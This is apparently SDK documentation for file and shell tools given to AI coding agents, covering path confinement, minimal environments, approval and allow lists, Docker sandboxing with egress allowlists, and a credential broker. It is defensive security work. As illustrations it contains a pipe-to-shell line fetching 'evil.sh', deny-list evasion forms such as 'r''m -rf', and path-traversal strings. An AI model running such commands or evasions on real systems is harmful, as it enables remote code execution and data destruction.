Skip to main content
Workspace tools give an agent a file system and a shell, so you can build coding agents in the style of Claude Code. The tools never use node:fs or node:child_process themselves. They call two small interfaces, FsProvider and ShellProvider, so the same tools work against a local directory, an in-memory tree in tests, a Docker container, or a remote sandbox such as E2B, Daytona or Cloudflare.
A createAgent() agent pauses the same way: send() resolves with finishReason: 'awaiting-approval' and agent.approvals.resolve() runs (or rejects) the command and continues (see Approvals). To let some commands run without asking, pass needsApproval: false together with an allow list, or a needsApproval predicate that returns false for the commands you trust.

The tools

createFsTools(fs, options?) returns these defineTool tools: createShellTool(shell, options?) returns one tool, shell, that takes command and an optional timeout_ms. It returns { exitCode, stdout, stderr }. When the command was killed, the result also has timedOut: true or aborted: true and a note saying why.
Cancelling the run (agent.send(input, { signal }) or AgentExecutor.execute({ signal })) kills the running command together with every process it started: a process group on Linux and macOS, and taskkill /T on Windows.

Security model

Read this before you give a model a shell.

What is enforced

Paths stay inside the root. Before any file is touched, NodeWorkspace (and MemoryWorkspace) normalizes each path. These are rejected on every platform:
  • .. that climbs above the root (../secret, src/../../secret)
  • absolute paths (/etc/passwd, and an absolute path that points inside the root)
  • Windows drive letters (C:\Windows, C:secret)
  • UNC and extended-length paths (\\server\share, //server/share, \\?\C:\)
  • NUL bytes
Backslashes count as separators everywhere, so mixing separators (src/..\..\secret) cannot hide a ... On Windows, : (alternate data streams), reserved device names (CON, NUL, COM1, …) and segments made only of dots and spaces (Windows drops trailing dots and spaces, so .. would act as ..) are rejected too. Symlinks cannot escape. After that check, NodeWorkspace resolves the path with realpath. If the path does not exist yet, it resolves the deepest part that does exist. The result must still be inside the root’s own real path. This means:
  • A link inside the root that points outside it is rejected for reads, and for writes to files that do not exist yet (escape-link/new.txt).
  • A link whose target does not exist is never followed, because writing through it could create a file outside the root.
  • glob and grep never follow links while walking the tree.
  • rm on a link removes the link itself and leaves its target alone.
Rejections are tool errors. A refused path, a missing file or an ambiguous edit throws a WorkspaceError inside the tool. The model receives { "error": "WorkspaceError", "toolName": "read_file", "message": "..." } and the run continues. Messages show the workspace path, never the host path. Commands get a minimal environment. NodeWorkspace runs commands with cwd set to the root. It does not pass on the parent process’s environment. Only PATH, HOME, USERPROFILE, TEMP, TMP, TMPDIR, LANG, LC_* and TERM are copied, plus SystemRoot, SystemDrive, ComSpec, PATHEXT and WINDIR on Windows, because a shell needs them to start. So OPENAI_API_KEY, ANTHROPIC_API_KEY, cloud credentials and other secrets in your server’s environment are not visible to commands the model writes, and env or printenv cannot reveal them. To give commands more, either pass values (env: { GITHUB_TOKEN: scopedToken }) or name host variables to copy (inheritEnv: ['CI']). Anything you pass this way is visible to the model. inheritEnv: true passes the whole host environment, as before this default existed; use it only for commands you trust. On Windows, Node’s process launcher also adds the session variables every process needs (HOMEDRIVE, HOMEPATH, USERNAME, USERDOMAIN, LOGONSERVER); none of them is a secret.
The shell tool needs approval by default. Unless you choose otherwise, every command waits for a human. allow and deny are checked first, so a refused command is never offered for approval:
  • A string pattern matches a command that is exactly the pattern, or starts with it followed by a space ('git status' matches git status -s).
  • In allow, a command matched only by a string pattern must not contain shell operators (; & | ` $( < > or a newline). This stops git status; curl evil.sh | sh from passing as git status.
  • A RegExp is tested against the whole command line, so anchor it: /^npm (test|run lint)$/.
  • deny string patterns are checked against each ;, & or | separated part of the command.

What is NOT enforced

  • NodeWorkspace’s shell is not a sandbox. Path confinement applies to the file tools only. A command runs as your OS user and can read, write or delete anything that user can, including ../ and ~/.ssh, and it can use the network. Approval and allow lists reduce the risk, but they are not isolation. For untrusted input, such as prompts from the public or content fetched from the web, give the shell tool a sandbox-backed ShellProvider (see below) and use the file tools with readOnly: true or approval.
  • A deny list is a convenience. A shell has many ways to write the same command (r''m -rf, $(echo rm), an extra space, a script file), so do not rely on deny for security. Use allow for that.
  • Races and hard links. Paths are checked, then used. A process that swaps a directory for a symlink between those two steps can get around the check. Such a process already has local access, for example a command the shell tool ran without a sandbox. A hard link inside the root to a file outside it cannot be detected.
  • grep runs the model’s regex in your process. A pathological pattern can be slow. Lines and files are capped, but the regex engine itself is not time-limited.

Sandboxed shell: SandboxShell

SandboxShell adapts any SandboxAdapter, for example the Docker-backed SubprocessSandbox, into a ShellProvider. Each command runs as sh -c "<command>" in a new container with no network. The container sees only cwd, which is bind-mounted at the same path. It gets only the env you pass, nothing from the host. File tools can keep using NodeWorkspace on the same directory:
Environment and network. SandboxShell takes the same env and inheritEnv options as NodeWorkspace. A container gets only those variables: never the host environment, and not the host’s PATH or HOME either, because the image brings its own. With NoopSandbox (which runs on the host) a command gets the same small base NodeWorkspace uses, plus your variables; inheritEnv: true restores the whole host environment there, but a container still never receives it. SubprocessSandbox takes a network policy: Host names are checked when the sandbox is constructed, so a URL or a malformed name throws; the validated list is kept on sandbox.network.

Allowlisted egress: network: { allow } with a broker

Docker cannot filter outgoing traffic by host name by itself, so an allow list is only enforced when a proxy is the container’s only way out. SubprocessSandbox builds that with Docker’s own primitives:
  1. On the first run() it creates an internal bridge network (Internal: true, no IPv6, label com.lousho.sandbox=egress), named networkName or lousho-egress-<random>. An internal network has no route off the bridge. If a network with that name exists, it is reused, but only if it is internal.
  2. The broker gets a second listener on that network’s gateway address, which on Docker Engine for Linux is the host’s own interface on the bridge. It accepts connections only from the network’s subnet (any other peer is dropped before a byte is read), so it is not an open proxy on the host’s other interfaces. Its allowlist is the broker’s rule hosts plus the sandbox’s allow list. The broker’s own allow option and its loopback listener are unchanged.
  3. Every container joins that network with HTTP_PROXY/HTTPS_PROXY (and lower-case forms) set to the gateway listener, merged over the env you pass. NO_PROXY holds only the gateway address, so $HTTP_PROXY/__broker/<host>/<path> (the path form that adds credentials) reaches the broker directly; it gives no other bypass, because nothing else is reachable.
  4. sandbox.close() stops the listener and removes the network if this sandbox created it. An aborted or timed-out run removes its container as before; the network stays for the sandbox’s next run until close().
What this enforces, and where:
  • Docker Engine on Linux, with the agent on the same host: enforced. The container can reach the gateway address and nothing past the bridge. DNS: the container resolves no outside names itself (Engine 25.0.5 and later do not forward DNS from internal networks, CVE-2024-29018; older Engines are refused), so names go to the proxy, which resolves them on the host after the allowlist check. Raw IP connections have no route. Non-HTTP protocols (SSH, raw TCP, UDP) are blocked, because only the proxy is reachable, and CONNECT tunnels are checked against the allowlist like any request.
  • Docker Desktop (Windows, macOS, and Desktop on Linux): refused. Containers run in a VM, so the host has no address on the internal network. host.docker.internal reaches the host only from non-internal networks, which would also reach everything else. run() rejects with LOUSHO_SANDBOX_EGRESS_UNSUPPORTED and starts no container. So do rootless Docker (the bridge lives in its own network namespace), a daemon on another machine (the broker cannot bind the gateway address), a reused network that is not internal, and an Engine older than 25.0.5.
  • Other services on the host’s bridge address. A container on an internal network can reach any host service that listens on the gateway address or on all addresses (0.0.0.0). Bind host services to 127.0.0.1, or firewall the bridge subnet to the broker’s port only. A host firewall that drops traffic from the bridge (a strict INPUT policy) blocks the broker too: runs then fail to connect, they do not get open egress.
  • Host commands are still not firewalled. A NodeWorkspace or NoopSandbox command can ignore the proxy variables; see the credential broker notes below.
These guarantees come from Docker’s documented behavior of internal networks; the SDK’s tests exercise the wiring against a fake Docker client, not a live daemon.
What this does not cover: a value you pass in env or inheritEnv is readable by the model’s commands, and network: 'default' lets a command send it anywhere. Keep long-lived secrets out of both; use the credential broker below instead. When the run is aborted, SandboxShell passes the abort signal to the adapter. SubprocessSandbox then kills and removes the container and the shell tool reports aborted: true; a signal that is already aborted starts no container. An adapter that ignores SandboxRunOptions.signal is no longer waited on, but its command keeps running until its timeout; the shell tool always sets one.

Credential broker

A command the model runs (git, curl, a script) sometimes has to call an authenticated API, but any token in its environment is readable by the model. createCredentialBroker() keeps the token on the host: it starts a local HTTP proxy that adds the auth headers to requests for the hosts you name, so the command only ever sees the proxy’s address.
  • What it returns. url (the proxy, on an ephemeral 127.0.0.1 port by default), env (HTTP_PROXY, HTTPS_PROXY, NO_PROXY and lower-case forms, for the env option of NodeWorkspace or SandboxShell), baseUrl(host) and close(), which stops the listener and destroys open sockets. A header value is a string or a function called per request.
  • Allowlist. Rule hosts (exact names or *.suffix) are allowed implicitly; allow adds hosts reached without injected headers. Any other host gets a 403 before a connection is opened. Hosts that resolve to loopback, link-local (such as the cloud metadata address 169.254.169.254) or private addresses are refused unless listed in allowPrivate, so a command cannot use the proxy to reach services on your machine or network.
  • Secrets stay on the host. Injected values never appear in env, in the proxy’s error responses or in any log. A request to a brokered host that already carries an Authorization header has it removed and replaced. Hop-by-hop headers (Connection, Proxy-Authorization, …) are not forwarded.
  • HTTPS limitation. Header injection works on plain-HTTP requests and on the path form: the broker serves http://127.0.0.1:<port>/__broker/<host>/<path> and forwards it to https://<host>/<path> with the headers added, which is what baseUrl(host) returns. Point a tool at that base URL (for example an SDK’s baseURL option or a curl URL) to get auth without holding the token. A client that uses HTTPS_PROXY for an https:// URL opens a CONNECT tunnel instead: the broker checks the allowlist on the tunnel target and passes the encrypted bytes through untouched, so no header is added. The broker does not intercept TLS.
  • It is not a firewall on the host. A command run by NodeWorkspace can ignore the proxy variables and open its own connections; the allowlist only covers traffic sent through the broker. What the broker guarantees is that the token is never in the command’s reach.
  • Containers. Do not pass broker.env to a SubprocessSandbox: it points at the host’s loopback. Pass the broker itself instead, new SubprocessSandbox({ network: { allow }, broker }), and the sandbox routes its containers through it (see Allowlisted egress). It does that with broker.listen({ host, clients, allow }), which adds a listener on another address that serves only peers from the clients subnet, with the rule hosts plus allow as its allowlist. The broker listens on loopback only unless you call it.

Writing your own provider

Both interfaces are small. Paths are workspace-relative and use /. normalizeWorkspacePath() applies the same checks the built-in providers use. A provider exposed to a model must confine paths itself, because a custom tool could call it directly. Throw WorkspaceError with a readable message on failure.
ShellProvider.exec should resolve, not reject, for a non-zero exit code, a timeout (timedOut: true) or an abort (aborted: true). It should reject only when the command could not be started.

Testing with MemoryWorkspace

MemoryWorkspace keeps the file tree in memory and checks paths the same way. Its exec is a stub you program, and every command it receives is recorded. Combine it with mockModel for deterministic tests: